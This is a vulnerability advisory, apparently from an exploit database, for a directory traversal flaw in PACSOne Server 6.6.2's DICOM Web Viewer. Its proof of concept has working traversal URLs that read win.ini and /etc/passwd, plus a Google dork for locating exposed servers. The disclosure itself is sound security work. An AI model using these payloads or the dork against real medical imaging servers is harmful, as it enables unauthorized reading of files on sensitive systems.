PACSOne Server 6.6.2 DICOM Web Viewer Directory Traversal

PACSOne Server version 6.6.2 DICOM Web Viewer suffers from a directory traversal vulnerability.


MD5 | aab54ae9c1c72eafc7ac0fa76de6103c

# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer Directory Trasversal / Local File Inclusion
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Google Dork: inurl:pacs/login.php inurl:pacsone/login.php inurl:pacsone filetype:php home inurl:pacsone filetype:php login
# Version: PACSOne Server 6.6.2
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt



1. Description

DICOM Web Viewer is a component written in PHP that is part of PacsOne software. In version 6.6.2, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required.
The 'path' parameter via GET is vulnerable.

Found: 08/14/2017
Vendor Reply & Fix: 09/28/2017


2. Proof of Concept


http://localhost/pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://localhost/pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd


3. Solution:

Application inputs must be validated correctly.



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